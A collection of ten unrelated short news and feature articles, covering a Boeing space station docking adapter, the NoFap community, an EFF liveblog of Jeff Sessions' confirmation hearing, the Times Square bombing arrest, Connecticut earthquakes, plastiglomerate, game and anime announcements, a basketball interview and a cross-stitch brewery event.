-If you would like to see more articles like this please support our coverage of the space program by becoming a Spaceflight Now Member . If everyone who enjoys our website helps fund it, we can expand and improve our coverage further.  Spare parts warehoused in the the United States and Russia will help Boeing finish assembly of a third space station docking port to receive arriving astronauts aboard Boeing’s CST-100 Starliner and SpaceX’s Crew Dragon capsules, replacing a unit lost in a Falcon 9 launch failure last year.  Components left over from construction of the first two docking adapters will reduce the cost of fabricating an identical third unit, officials said.  NASA awarded Boeing a $9 million contract in March to assemble the third International Docking Adapter, or IDA 3, and deliver it to the space agency by March 2017.  IDA 3 replaces the first docking adapter lost in June 2015 aboard a SpaceX Falcon 9 rocket that broke apart about two minutes after liftoff from the Cape Canaveral, destroying a Dragon space station supply ship carrying the docking system in its unpressurized trunk.  Each docking adapter measures about 42 inches (1.1 meters) tall and 63 inches (1.6 meters) wide, and weighs approximately 1,159 pounds (526 kilograms).  Boeing had about 70 percent of the components — totaling 300 parts — for the replacement docking port in inventory, according to Kelly Kaplan, a Boeing spokesperson.  The docking adapter’s primary structure is made by RSC Energia in Russia, and it arrived at Kennedy Space Center’s Space Station Processing Facility in early April, Kaplan said.  Boeing is consolidating production of space station components like the IDAs at Kennedy Space Center. The first two docking adapters were manufactured at a Boeing facility in Houston that the company plans to shut down, according to Mark Mulqueen, Boeing’s space station program manager.  Boeing is NASA’s prime contractor for the space station.  The Boeing-built docking systems attach to pressurized mating adapters on the space station used to receive visiting space shuttles during the outpost’s assembly. The shuttle’s docking system and the station’s pressurized mating adapters were based on the Androgynous Peripheral Attach System, or APAS, designed to accommodate U.S. spacecraft connecting in orbit with Russian vehicles.  “The APAS was the Russian system that the U.S. and Russia built a derivative for Apollo-Soyuz, and also used for Shuttle-Mir and the International Space Station,” Mulqueen said. “We had to interface with that, so they had a lot of parts that we utilized.”  Spaceflight Now members can read a transcript of our full interview with Mark Mulqueen. Become a member today and support our coverage.  The Boeing-built International Docking Adapters are designed to receive any spacecraft, including the commercial SpaceX Crew Dragon and Boeing CST-100 Starliner spacecraft, future cargo freighters, and other craft yet to be designed.  They are built to a public standard capable of connecting with docking interfaces Boeing is building to fly on Sierra Nevada’s Dream Chaser cargo ship and the company’s own CST-100 Starliner crew capsule.  “It’s free for anyone to use,” Mulqueen said. “Sierra Nevada is using it, and SpaceX is designing their own similar system. They took our requirements and were able to make their own system. We’ll be using it for CST-100.”  Mulqueen said the second International Docking Adapter, or IDA 2, is complete and ready for launch this summer on SpaceX’s ninth operational Dragon supply mission to the space station.  NASA has tentatively planned to launch the third IDA on the SpaceX CRS 14 cargo mission in early 2018.  Two International Docking Adapters at the space station will allow Boeing and SpaceX commercial crew capsules to be attached to the complex at the same time.  Email the author.  Follow Stephen Clark on Twitter: @StephenClark1.
-Mike Nudelman/Business Insider  Every day, a group of men and women around the world digitally congregate at a Reddit board called NoFap to specifically discuss not masturbating. Yes, just like the famous Seinfeld episode, "The Contest" - Jerry and the gang bet $100 to see who can remain "master of their domain" the longest. It's a community called NoFap, and it has its own theories, ideology, and mutual support.  "Fap" is a bit of Internet vernacular for the act of self-love. It first appeared in a 1999 web comic called Sexy Losers to denote the sound of a character pleasuring himself. On UrbanDictionary, it's the "onomatopoeic representation of masturbation." So "NoFap" is exactly what it sounds like.  There are currently more than 81,000 members of this community. They call themselves "fapstronauts," and attribute a number of major life changes to the practice, such as increased confidence, concentration, motivation, libido, and even penis size. For some it's a means of addressing concerns with their porn consumption, while others see it as a means to healthier relationships.  Still others engage in it as nothing more than a heavy-duty test in self-control.  How it started  "I've been able to do things I never thought I would be able to do. Asking a girl to prom, starting and holding conversations with strangers, being able to achieve when most people just throw in the towel at the first sign of adversity." -cjclear789  A June 2011 post on Reddit linked to a study from the National Institute of Health. The takeaway from that study is a simple one: when men don't masturbate for seven days, their testosterone levels increase by 45.7%. This inspired a weeklong challenge among Redditors, one of whom eventually posited that "fapstinence" could be a powerful motivational tool.  Things snowballed from there. The official NoFap subreddit was established and a standalone site appeared a year later at NoFap.org. Users now had a place to gather and discuss their various approaches to systematically not masturbating, as well as document any changes that they credit to NoFap.  A recent age breakdown of fapstronauts (click to enlarge). Straw Poll  Who is NoFap for?  There are as many stories about becoming a fapstronaut as there are community members themselves. It's quite literally for anyone who wants to give it a try.  "For porn addicts, it is about recovery," NoFap founder Alexander Rhodes told us. He's a 24-year-old web developer in Pittsburgh, Penn. "Some fapstronauts are here to improve their interpersonal relationships, whether it be for a marriage, a relationship, or single life. For others, it is simply a challenge of willpower - to seize control of your sexuality and turn it into superpowers. There are many, many different reasons to join but we're all on NoFap with one goal - to help each other abstain from PMO (porn/masturbation/orgasm)."  It's not a gender-specific idea, either. NoFap women are called "femstronauts."  Here's Rhodes again:  "Women are absolutely welcome, although the vast majority of us are guys, mostly in our 20s. I'd estimate that the NoFap community consists of 5% females, and although NoFap hosts hundreds of femstronauts, there is still a lot to learn about their experiences with the NoFap challenge. Pornography clearly is not a male-only problem [...] It seems like many of them are experiencing nearly identical problems that the men on NoFap report."  Although NoFap crosses gender lines, it may not be the difference-maker you need. As with any attempt at life improvement - working out, learning a new skill, whatever else - this isn't some magic bullet for changing your mood or outlook. Rhodes explained that "for some people, abstaining from porn and masturbation is absolutely life-changing. For others, it results in absolutely nothing. 'Your mileage may vary' is a term which we use constantly."  There are a few hundred female NoFap members as well. Shutterstock The theory of NoFap  "I feel completely different. I just like myself better. I feel happier, more confident. I know that [it] doesn't magically make one happy and confident; it's the changing of one's mindset that does that." -indy175  A NoFap challenge consists of setting an intention to abstain for a certain amount of time, then riding it out. Participants report diverse and overwhelmingly positive results from their efforts, like increased confidence, reduced anxiety, improved focus, and even seemingly being more attractive to females (you're inherently confident at having conquered something big and women like confidence).  Rhodes chalks these radical changes up to a concept in biology called inclusive fitness. It deals with the number of offspring an organism has and their ability to take care of new offspring as they arrive.  "While [regularly having sex] in a mated pair, a males' testosterone levels decrease, which causes morphological changes that adapts them to be better fathers," Rhodes suggests. "When they are not regularly partaking in sexual activity, the testosterone levels rise, causing them to be more aggressive and better adapted for 'single life.'"  The hypothesis is that masturbation tricks your body into thinking it's reproducing. And if your body thinks it's "reproducing" a lot, it's not going to feel terribly compelled to stay sexually competitive.  How not to do it  A lot of NoFap advice is about how to reconquer your domain when you feel the borders slipping, so to speak. Here's what Rhodes says to do if you get "the urge" and want to fight it:  Get away from the computer and do something else that isn't what you shouldn't be doing. Is it your ultimate life goal to abstain from pornography or masturbation? Of course not! Pursue what you're actually passionate about. If you fill up your schedule with cool things that matter to you, abstaining from PMO will be a lot easier.  Raise your awareness. Giving in to urges is always a conscious rationalization. Learn to recognize whenever this process is occurring. Whenever you are craving to dive back into porn, your mind is simply trying to justify a non-logical emotional decision that it has already made. Simply recognizing this may be enough to beat the urge.  If you're contemplating taking the plunge, Rhodes advises patience. He says participants should completely buy into the process ahead of time. NoFap challenges are "a marathon, not a sprint":  If you do not have a good reason for why you are doing this, you are probably not going to last ... You have to ask yourself before you start: Why do you want to do this? What are your goals? What type of person do you want to be? Usually the answers to these types of questions revolve around a central concept - something I like to call your "higher purpose." This higher purpose varies for all fapstronauts. Maybe you want to do this for someone you love, to combat loneliness, and a multitude of other reasons - but most importantly for self-improvement.  What Internet porn does to your brain  Shutterstock Fapstronauts will frequently cite YourBrainOnPorn, an Internet resource that catalogs research on the relationship between porn and the human brain. It puts forth the idea that porn is a long-term problem that can rewire your brain, and that porn is far more harmful than one would think.  Perhaps the most tangible effect of overconsumption of porn (for men) is porn-induced erectile dysfunction, PIED. It's not an officially established medical condition but early research suggests there's some evidence for the idea that it is possible to overstimulate yourself with porn to the point that your plumbing starts working (or not working) differently.  That's a more extreme example and certainly doesn't affect everyone, yet Rhodes acknowledges that porn may serve a concrete purpose for some. In our conversation, he likened it to cigarettes - "generally harmful to health and society," but "not the worst thing in the world for some people."  "I do have trouble thinking of positive things about pornography [but] I am not calling for porn to be banned or regulated," said Rhodes. "I think people should be educated about the negative effects it can have on some people. The only thing I am currently actively advocating is education."  The sense of community and encourage is strong. Shutterstock Brothers who understand the struggle  "[It's] more than just a fad, challenge or community to me. [It's] a lifestyle. It's like being reborn after years of death." -effancy  Instead of swimming through a sea of jokes, an outsider browsing the NoFap subreddit will notice that fapstronauts are pretty much entirely positive and constructive in their attitudes toward each other. New initiates are welcomed warmly. Men are "brothers" who "understand the struggle." The minority community of women seek each other out and offer male members points of view from the other half of humanity.  Fapstronauts are there to congratulate each other when they get phone numbers from three girls in a day just as they're there to talk through their frustrations.  Rounding it up  People struggle with all kinds of demons - drugs, alcohol, family, emotions. For some, masturbation could be a problem on the same level. While some may not understand it as a "problem," looking at it like that misses the point anyway. There is no specific downside to fapstinence, and those who sincerely commit to NoFap frequently go on to describe interpersonal improvement on some level.  One user, "borninthenorthwest," described how it altered his life and attitudes:  My relationship with porn began at the age of 13 with nude Playboy photos of Pamela Anderson and Jenny McCarthy. This was in the days of dial-up Internet, and I was initiated by my childhood best friend at the time. Although this did not seem pornographic, relative to what my peers were beginning to look at, I now see that this was the beginning. It began a cycle where every woman I met was judged by these photogenic standards, and felt no real attraction towards most girls in high school, despite being popular and well-liked for my prowess on the guitar. Enter college...  Going to a music school where I once again was a star, it became easy to retreat into the thing that brought me recognition (the guitar). But as I began to retreat, I continued to fill a sexual void with airbrushed photos of playmates and celebrities, which had now become a major weakness. Not so much pornography, but the cultural objectification of beauty ...  The man found himself unable to relate — or even be interested in — real-life women. "None of the girls I met in college could compare to the standards in my own mind. What few girls I was attracted to, I felt incapable of asking out for a date, and often would simply fantasize about them instead. In my imagination, there were no problems."  He was probably addicted to porn, he admits: "After college things took a turn for the worse when I graduated to more graphic forms of entertainment. By 31 I found NoFap."  It helped him get back to reality, he says:  Since then my relationship with both pornography and far more innocent triggers is vastly different. I no longer use porn at all, and no longer place the celebrity notion of beauty on the pedestal either, and am interested in real life and real people, slowly but surely engaging in reality.  It might be that NoFap represents such a dramatic lifestyle change for its participants that it forces them to develop new and better habits that would otherwise be lost to the time required for that other hobby. But let's not forget that all-impotant NoFap soundbite: Your mileage may vary.
-Attorney General nominee Sen. Jeff Sessions is testifying in front of the Senate Judiciary Committee today as part of his confirmation process. EFF has voiced concerns about President-elect Donald Trump’s nomination of Sessions to lead the Justice Department, citing past statements he has made and votes he has cast on a number of critical digital rights issues, including surveillance, encryption, net neutrality, and protections for the press.  While we can’t predict what Sessions would do as the head of an agency that oversees immigration enforcement, law enforcement and national security surveillance, and everything in between, we will be closely following the things he says and the commitments he makes during his confirmation process, beginning with a live blog below of his hearing.  -------------------------------------------------------------------  Click here to reload the page for more live-blogging.  10:56 a.m. (PST) -- The hearing has ended.  Sen. Amy Klobuchar  9:32 a.m. (PST) -- Sen. Amy Klobuchar noted that Sessions did not support the Free Flow of Information Act, a proposed shield law for journalists. She further noted that Sessions provided no concrete answers and said he would need to conduct more research when she pressed him on various measures Attorney General Holder undertook to protect the media. Klobuchar specifically noted Holder’s 2015 memo limiting when federal prosecutors can subpoena journalists and Holder’s commitments not to imprison reporters for doing their job and to release an annual report about investigations involving journalists. David Cole, legal director for the ACLU, agreed that our country’s democracy depends on the freedom of the press, which functions as an essential check on government overreach, especially when one party controls all the branches of government.  7:30 a.m. (PST) -- National President of the Fraternal Order of Police Chuck Canterbury stated that he endorses Sen. Jeff Sessions’ in part for his support for the “equitable sharing” program, which allows the federal government to share asset forfeiture funds (money seized in drug cases) with local law enforcement, even before a case has been adjudicated. As EFF has reported, asset forfeiture and electronic surveillance go hand in hand, with seized monies funding surveillance and surveillance assisting in seizing more funds.  6:35 a.m. (PST) -- The hearing has started.  -------------------------------------------------------------------  Liveblog from Day One  5:07 p.m. (PST) -- That’s a wrap for today. We’ll continue liveblogging when the hearing resumes with its third panel of witnesses tomorrow morning at 6:30 a.m. (PST).  5:06 p.m. (PST) -- Sessions said he would be receptive to whistleblowers if confirmed as the head of the Justice Department. In an exchange with Senate Judiciary Chairman Chuck Grassley, Grassley asked Sessions to “give encouragement to whistleblowing,” since “whistleblowers within an agency are usually treated like skunks at a picnic.”  Sessions responded that he would defend whistleblowers, including from retaliation from a government agency. “You cannot effectively manage this government without good citizens and good employees speaking up when they see wrongdoing,” he said.  3: 46 p.m. (PST) -- Sessions stayed mum on Trump’s embrace of Wikileaks—including the President-elect putting his faith in the organization over the conclusions from U.S. intelligence agencies about the 2016 hack of the DNC—during a prolonged line of questioning from Sen. Al Franken, which included Franken repeatedly reading Trump’s “I love Wikileaks” statement. Franken also cited Sessions’ condemnation of Wikileaks’ Julian Assange in the past.  “If Assange participated in violating the American law, then he is a person subject to prosecution and condemnation,” Sessions replied. He added that he needs “to be more cautious” about what he says as Attorney General nominee than he had been as Senator. “It’s just not appropriate for me to be the person [from whom] you seek political responses,” he said.  Sessions also declined to comment on today’s report that Trump surrogates communicated with intermediaries for the Russian government.  Sen. Maize Hirono  2:54 p.m. (PST) -- Sessions admitted that a registry of Muslim U.S. citizens would pose “serious constitutional problems.” In response to questions from Sen. Maize Hirono, Sessions also noted Trump’s inconsistent position on creating a registry of U.S Muslims.  2:29 p.m. (PST) -- Sessions said he does not support a registry of Muslims in the U.S. but left the door open for surveillance targeting mosques in certain cases. In response to questions from Sen. Chris Coons, Sessions repeated his previously stated position that it’s acceptable to consider religion when deciding whether or not to admit an individual to the country.  But, deviating from Trump’s calls for targeted surveillance of Muslim communities during the campaign, Sessions said he “would not favor a registry of Muslims in the U.S.” and said he thinks the government “should avoid surveillance of religious institutions unless there is a basis to believe that a dangerous or threatening illegal activity could be carried on there.” He added, “I’m not aware that there’s a legal prohibition on that under current law.”  1:52 p.m. (PST) -- Sen. Cornyn also asked Sessions to commit to supporting the Freedom of Information Act and the “public’s right to know.” Sessions agreed.  1:51 p.m. (PST) -- Sen. John Cornyn broached a series of national security and surveillance topics, including the Electronic Communications Privacy Act, national security letters, encryption, and Section 702 of the Foreign Intelligence Surveillance Act, which is set to sunset at the end of the year. Cornyn pointed to a conclusion by the Privacy and Civil Liberties Oversight Board that Section 702 has been effective, despite the fact that it allows warrantless spying on Americans, and said he hopes lawmakers make it a priority to reauthorize the law. Sen. Cornyn asked no question though, except to have Sessions make a verbal commitment to “put the safety and security of the American people first.” Sessions responded only with: “I will.” We think it’s time to END 702.  12:56 p.m. (PST) -- In response to a question by Sen. John Kennedy, Sessions admits that the Freedom of Information Act is law and would see it carried out. We heartily agree.  12:33 p.m. (PST) -- Sessions wouldn’t commit to recuse himself if the Justice Department ends up pursuing any legal action against the Trump campaign tied to the DNC hack in 2016. When pressed by Sen. Dick Durbin, Sessions drew a distinction between this hypothetical and his commitment to recuse himself from prosecutions involving Trump’s opponent Hillary Clinton, citing public statements he made about Clinton.  “I don’t think I’ve made any comments on [the DNC hack] that go to that,” he said. “I would review it and try to do the right thing.”  Durbin pushed back, calling an investigation into the DNC hack “an obvious case for a special prosecutor”. Sessions said an Attorney General would have to “carefully think his way through that, to seek advice, and to follow the normal or appropriate special prosecutor standards.”  Sen. Jeff Sessions answering questions about the USA FREEDOM Act  12:10 p.m. (PST) -- Sen. Patrick Leahy pressed Sessions to commit to enforcing the USA FREEDOM Act, which prohibited the bulk collection of Americans’ phone records by the NSA. Sessions opposed the bill in 2015. Sessions responded that the prohibition on bulk collection “appears to be” the governing statute for U.S. government surveillance and pledged to follow the law, although he couldn’t confirm it prohibited bulk collection in all cases. “I believe the statute must be followed,” he said.  11:52 a.m. (PST) -- There have been a number of questions since the hearing resumed, but so far no new digital liberties issues have specifically been raised.  11:24 a.m. (PST) -- Sen. Richard Blumenthal tells Sessions that the attorney general must be a “zealous advocate of rights and liberties that are increasingly under threat,” and raises questions of how Sessions would handle conflicts of interests and under what circumstances he would appoint independent counsel. Sessions was non-committal.  10:45 a.m. (PST) -- The hearing has resumed.  10:11 a.m. (PST) -- The hearing has recessed for a 30-minute break.  9:41 a.m. (PST) -- Sen. Amy Klobuchar asked if Sessions will commit to following the standards in place for investigating journalists and commit to not put reporters in jail for doing their job. Sessions said he does believe that the DoJ has “sensitivity” to this issue but noted that “you could have a situation where the media is not unbiased” and could be a “mechanism where unlawful intelligence is obtained.” So, no.  Sen. Mike Lee Sen. Mike Lee  9:29 a.m. (PST) -- Sen. Mike Lee asked what Sessions will do to ensure that the Office of Legal Counsel maintains its independence. Sessions responded that the OLC is extremely important as it adjudicates a number of disputes within the executive. While we agree that OLC is indeed important, we wish that Sessions had answered the question.  9:16 a.m. (PST) -- Sessions dodged a line of questioning from Sen. Sheldon Whitehouse about whether he would prosecute Trump and his associates if the intelligence community finds that Russia’s involvement in the DNC hack was tied in some way to the incoming president.  Whitehouse asked if the Justice Department under Sessions and the Trump administration would “be allowed to continue to investigate the Russian connection [to the DNC hack], even if it [shows ties] to the Trump campaign” and continue, “even if your duties require the investigation and even prosecution of the president, his family, and his associates.”  Rather than committing to prosecute Trump and his allies, Sessions pointed to using political means to retaliate. “The problem may turn out to be—as in the Chinese hacking in our hundreds of thousands, maybe millions, of records—has to be handled at the political level.”  8:42 a.m. (PST) -- In response to a line of questioning from Sen. Lindsey Graham, Sessions said he will need to briefed by the intelligence community, including the FBI, about Russia’s involvement in the hack of the DNC in 2016. He said he has done no research on the issue yet but—contrary to Trump's insinuations—is “sure [the FBI’s conclusion] was honorably reached.”  Sessions also said that the U.S. should “develop protocols to ensure that a price is paid” when other countries interfere with U.S. democracy.  8:32 a.m. (PST) -- The confirmation hearing has been interrupted four times now by protesters, with chants covering issues ranging from racism to the closing of Guantanamo Bay detention facility.  Sen. Patrick Leahy Sen. Patrick Leahy  8:28 a.m. (PST) -- In responding to a question from Sen. Patrick Leahy, Sessions said he believes that a person’s religious views can and should be a factor in determining whether they should be admitted into the U.S. He talked around a potential “Muslim registry” but indicated that he supported some sort of “strong vetting” for entrants coming from countries with high rates of terrorism.  8:18 a.m. (PST) -- Sessions committed to work with Sen. Orrin Hatch on the issue of law enforcement access to data stored in servers located abroad but said that he currently does “not have firm and fast opinions on the subject.”  Hatch—who has pushed for privacy protections for data stored abroad, especially in the wake of Microsoft's lawsuit against the U.S. government—asked Sessions to work with Senate staff “to strike the needed balance” between law enforcement and privacy concerns.  Sessions said he would work on “understanding the new technology but the great principles of the right to privacy, the ability of individuals to protect data that they believe is private and should be protected. All of those are great issues in this new technological world that we’re in.”  8:13 a.m. (PST) -- Would Sessions support speedy legislation enabling Rapid DNA scanning? “Rapid DNA analysis is a hugely important issue for the criminal justice system...it’s the kind of thing you can’t fake or mislead, and so I’m very strongly in favor of that.” We’re concerned about the system’s accuracy and its privacy implications.  Sen. Orrin Hatch Sen. Orrin Hatch  8:10 a.m. (PST) -- In answering a question from Sen. Orrin Hatch, Sessions says he’d consider reestablishing a unit within the DOJ to prosecute obscenity. We think that would be unnecessary and frankly would pose a threat to free expression.  7:41 a.m. (PST) -- Sessions’ opening statement was entirely free of any mention of free speech, privacy, or civil liberties. We’re not surprised—just disappointed. On the other hand, he did note that the Attorney General “must be willing to tell the President ‘no’ if he overreaches. He or she cannot be a mere rubber stamp to any idea the President has.”  Sen. Jeff Sessions Sen. Jeff Sessions  7:17 a.m. (PST) -- Sessions was light on digital rights issues in his opening statement, but he briefly and vaguely outlined his cybersecurity goals as a part of his plan to fight “the rising threat of terrorism.”  He touted “partnerships,” which he said will “be vital to achieving much more effective enforcement against cyber threats, and the Department of Justice clearly has a lead role to play in that essential effort.” The U.S. government “must honestly assess our vulnerabilities and have a clear plan for defense, as well as offense, when it comes to America’s cybersecurity,” he continued.  His comments on cybersecurity come as the government continues to grapple with recent high-profile cyber attacks, including this past summer’s hack of the Democratic National Committee, which the U.S. intelligence community has conclusively tied to Russia. President-elect Trump has repeatedly questioned the intelligence community’s conclusions and encouraged the “country to move on to bigger and better things” after the Obama administration imposed sanctions on Russia in retaliation for the hack.  7:06 a.m. (PST) -- During her opening remarks, Sen. Dianne Feinstein questioned Sessions’ ability to serve as an Attorney General, independent from the incoming administration. “Will he tell the President ‘no’ when appropriate?” she asked. “We cannot ignore there are deep concerns and anxieties throughout America. It is in this context that we must consider whether Jeff Sessions is qualified to become the top law enforcement official in this country.”  6:30 a.m. (PST) -- Liveblogging underway!
-A man was arrested late Monday night in connection with the failed Times Square bombing, administration officials said. The suspect, Faisal Shahzad, a 30-year-old U.S. citizen from Pakistan, allegedly purchased the sport utility vehicle that authorities found packed with explosives in New York on Saturday night.  He was arrested by Customs and Border Patrol agents at JFK International Airport as he tried to board a flight to Dubai. Authorities became aware of his identity Monday afternoon.  An FBI-led Joint Terrorism Task Force had taken over the investigation Monday amid growing indications of a possible international connection, U.S. officials and law enforcement sources said.  Shahzad, who lived in Connecticut, is believed to have used cash to purchase the Nissan Pathfinder that was set ablaze but failed to detonate Saturday night on a tourist-crowded block in Midtown Manhattan.  Investigators and agents also were scouring international phone records showing calls "between some of the people who might be associated with this and folks overseas," according to a U.S. official who has discussed the case with intelligence officers. Investigators uncovered evidence -- a piece of paper, fingerprints or possibly both -- that also indicates international ties, according to a federal official briefed on the investigation. The material points to "an individual who causes concern to [investigators], who has overseas connections, and they are looking for him," the official said.  An overseas angle does not necessarily mean that the incident was planned or financed by al-Qaeda or another organized group, investigators said. "Think smaller," said one senior law enforcement official, who spoke on the condition of anonymity because the investigation is ongoing.  Even as investigators emphasized that the probe is in its early stages and little is definitively known, they pursued what Obama administration officials characterized as a flood of new leads, both foreign and domestic. The Pathfinder's registered owner, for example, told investigators that he sold it several weeks ago to a stranger, in a cash transaction through Craigslist.  On a day of fast-moving developments from Manhattan to Washington, President Obama was repeatedly briefed on what a senior administration official called "a very active investigation.'' Attorney General Eric H. Holder Jr. said in the morning that it was too early to designate the failed bombing as an attempted terrorist incident. By afternoon, White House spokesman Robert Gibbs was calling it just that.  "I would say that was intended to terrorize, and I would say that whomever did that would be categorized as a terrorist," Gibbs said, sharpening the administration's tone.  Differences also emerged over the significance of a surveillance video that caught a man in his 40s changing his shirt in an alley and looking over his shoulder near where the Pathfinder was parked. New York City police officials had characterized the man as acting suspiciously, but multiple federal law enforcement officials said he may not be the focus of the investigation.  "It looks like he was just taking off his shirt because he was hot," said one law enforcement official. Investigators were seeking to find another person captured on video running north on Broadway away from the area where the smoking sport-utility vehicle caused an evacuation of Times Square on a crowded weekend night.  Police said the bomb would have created a fireball that likely would have killed or wounded many people, making it the most serious bombing attempt in the United States since the Christmas Day attack aboard a commercial flight bound for Detroit.
-PLAINFIELD, Conn. -- In the last week, rattled Plainfield residents have made more than 300 calls to 911.  "I just had a big explosion," said one caller. "I don't know what it is but my whole house shook."  Marian Diggs says she's felt every earthquake  "I was up sitting in bed drinking my early morning cup of coffee and all of sudden I heard this loud boom," Diggs said.  People have reported minor damage from the 12 earthquakes that have hit between the towns of Danielson and Plainfield. Most have been under a 2 magnitude. The largest, a 3.1, occurred Monday morning.  Seismologists at Boston College Weston Observatory are collecting data on the frequent tremors, hoping to find out why the so called "swarms" are happening.  Dr. John Ebel from Boston College Weston Observatory CBS News  "We've had a few scattered epicenters in the past from that part of the state but this is something that's new for us," said Dr. John Ebel.  Scientists tell us earthquakes are usually caused when underground plates move from side to side. In Connecticut the plates are moving up and down.  CBS News  Plainfield Police Chief Michael Supernant says without answers, the phone calls from worried residents continue.  "We can't put our finger on it and before you even know what's happening it's over," said Supernant. "It's taking up a lot of our time. I can honestly say I think for a week I've gotten no police work done."  Hydraulic fracking has been blamed for causing some earthquakes in Oklahoma and Pennsylvania. Officials here have ruled out any man made disturbances as a cause.
-Just in time for World Environment Day, Canadian scientists have announced the discovery of a new type of rock made from the scraps of melted plastic waste and ocean debris. According to researchers at the University of Western Ontario, this new material, known as plastiglomerate, is formed when melted plastic waste on beaches mixes with sediment, lava fragments and organic debris. These virtually indestructible plastiglomerates may become part of the Earth’s geologic record forever and could one day act as a sad geological marker for humanity’s impact on the planet.  According to LiveScience, this new material has so far only been discovered in one place on Earth: Hawaii’s Kamilo Beach – known as one of the dirtiest shorelines in the world. The new rock exists in two forms: in situ types are that are embedded in larger rock formations and clastic kinds that are loose rocks. In situ types are more rare and are formed when plastic is melted and incorporated into a larger rock formation, whereas clastic plastiglomerates are loose, rocky structures made up of shells, coral, basalt, woody debris and sand glued together with melted plastic. A lab analysis of clastic plastiglomerates from Kamilo beach shows that the material is much more dense than plastic on its own, which means that it is much more likely to get buried and preserved in the rock record than normal plastic waste.  Related: World’s First 3D-printed Wrench Made With Recycled Ocean Plastic Wins Innovation Award  When oceanographer Captain Charles Moore first discovered plastiglomerates, he thought that molten lava had melted the plastic to create the new rock material. Researchers, however, have pointed out that the lava hasn’t flowed in the area since before plastics were invented, which means human waste is likely to blame for the creation of this toxic new rock. Discovery News reports that the rocks were likely formed accidentally by locals burning plastic debris on the beach. With this in mind, researchers believe plastiglomerates could also be present on other beaches around there world where people camp and live.  Via Science Alert, LiveScience, Discovery News  Images by Polihale and Duncan Wright via Wikimedia Commons
-Summon Night 5 And Class Of Heroes 3 Coming To The West  By Ishaan . April 23, 2015 . 2:49am  Gaijinworks and Monkey Paw are localizing two PSP RPGs for Western release: Bandai Namco’s Summon Night 5 and Acquire’s Class of Heroes 3.  For both titles, Gaijinworks will conduct a poll to gauge demand for limited edition physical release that you will be able to acquire by pre-ordering. The physical release will include the physical media as well as a PlayStation Network download code in case you own a Vita and want to play the game there.  Summon Night 5 is planned for release in 2015, while Class of Heroes 3 doesn’t have a release window just yet. English screenshots for both games can be found below.  Summon Night 5 (Siliconera coverage here):  Class of Heroes 3 (Siliconera coverage here):
-Because Craig Sager is a serious journalist, he only does the choice athlete interviews - and few are better than this one with Kendrick Perkins' son.  Russell Westbrook's fashion choices have become a frequent topic of conversation, including tonight's shirt and especially this gem, and Craig Sager picked one of the kids playing basketball on the floor of the Chesapeake Energy Arena to interview after the Oklahoma City Thunder beat the San Antonio Spurs 109-103. He picked Kendrick Perkins Jr, who was dressed like Westbrook, and gave an outstanding interview.  When Vanity Perkins told Craig Sager that all Kendrick has to do is give him the scowl to make him be a good lad, I assuming she doesn't mean this. This is absolutely the best interview with a child since this Ricky Rubio fan was interviewed by Robby Incmikoski of Fox Sports North.
-Sundays are typically reserved for finishing up that homework assignment you forgot about until the last minute or football and day drinking to forget about the anxiety of the upcoming week. Thanks to Grandma’s House brewery, the latter of that can be achieved, either curled up on the couch or at one of the old dining room tables with a craft beer and crossstitch hoop in hand.  Grandma’s House hosts a weekly Foul-Mouthed Cross-Stitch gathering, where people of all ages and genders can enjoy one of their craft brews and cross-stitch playful designs. Among the works of art were  pieces that said “Nope” and “Nasty Woman,” along with other deisgns with varying levels of profanity. Recently, activities typically thought of as elderly activities, like cross-stitching and bingo, have been adopted by younger generations. The profanity is an odd matchup with the ages old craft, but the juxtaposition has become popular in the last few years. Ashley Nelson, a regular at the event, stitched away at a piece that will say “Eat S**t and Die.”  “We’re not our grandmothers obviously, and I don’t know, I’ve got a bad mouth,” she said.  The cozy environment provides a relaxing getaway for stressed out college students, or members of older generations who wish to reconnect with their hobby. The bar feels like your grandmother’s house, decorated with antique toys and a bar top made from an old quilt. The tap handles have knitted sleeves,  like the itchy sweaters your grandmother makes for holidays.  “I wanted it to be a relaxed, homey, comfortable vibe,” said Matthew Fuerst, owner of Grandma’s.  Patrons can order one of the many local craft beers and stitch away, without feeling self-conscious  about their crafting skills.  “It’s a chill atmosphere,” Nelson said. “It’s just kind of a place to do what you do, hang out with friends and catch up.”  Grandma’s House has been open for two and a half years, and hosting the cross-stitch events since the beginning of football season.  “Football on Sundays has never been particularly good for breweries in general, and it certainly wasn’t for us,” Fuerst said. “I spent a year promoting it as a place to watch football and it didn’t work. I decided to scrap that entirely and to give this a shot and it took off beyond what I could have expected.”  Sundays are typically slow days for breweries and bars, however, only a few empty seats remained once the event got into full swing.  Many women can feel intimidated at bars and breweries, as craft beer drinking has been considered a maledominated activity. Despite that, Grandma’s has grown to be a favorite of the local brewdrinking  ladies.  “Our vibe is more friendly to female craft beer drinkers. We have significantly more female followers than men followers, which is pretty abnormal in the beer industry,” Fuerst said.  The brewery is also welcoming to those who don’t drink, said Shy Yant, who’s been attending the weekly gatherings for three months.  “I don’t drink, and I don’t feel like I need to to fit in at all. The staff here are really friendly and  everybody is just nice. It’s just calm here.”  Foul-Mouthed Cross-Stitch Sundays are held from 12 to 3 p.m. at Grandma’s House brewery, located at 1710 South Broadway in Denver. Admission and supplies are free.
-The faces now have voices! The upcoming adaptation of Hajimete no Gal has just announced five voice actors for the project, including its two leads.  In the role of lonely loser Junichi Hashiba is Shintaro Asanuma (Hiroto Maehara, Assassination Classroom), with Yukana Yame, the "gal" herself, voiced by Yuki Nagaku (Arisa Ahokainen, Akiba's Trip: The Animation).  Other announced voice actors include:  Ranko Honjou: Eri Kitamura (Sayaka Miki, Madoka Magica)  Yui Kashii: Ayana Taketatsu (Azusa Nakano, K-ON!)  Shizune Fujinoki: Yui Ogura (Tomarin, Teekyuu)  In addition, visitors to AnimeJapan 2017 will get to meet Yuki Nagaku at their special "Hajimete no Gal: Hajimete no Stage" event. The appearance will be at the Kadokawa booth on Saturday, March 25, and marks Nagaku's first public appearance in association with the upcoming series.  Hajimete no Gal will begin airing in July.  Source: MoCa-News  -----  Kara Dennison is responsible for multiple webcomics, blogs and runs interviews for (Re)Generation Who and PotterVerse, and is half the creative team behind the OEL light novel series Owl's Flower. She blogs at karadennison.com and tweets @RubyCosmos.
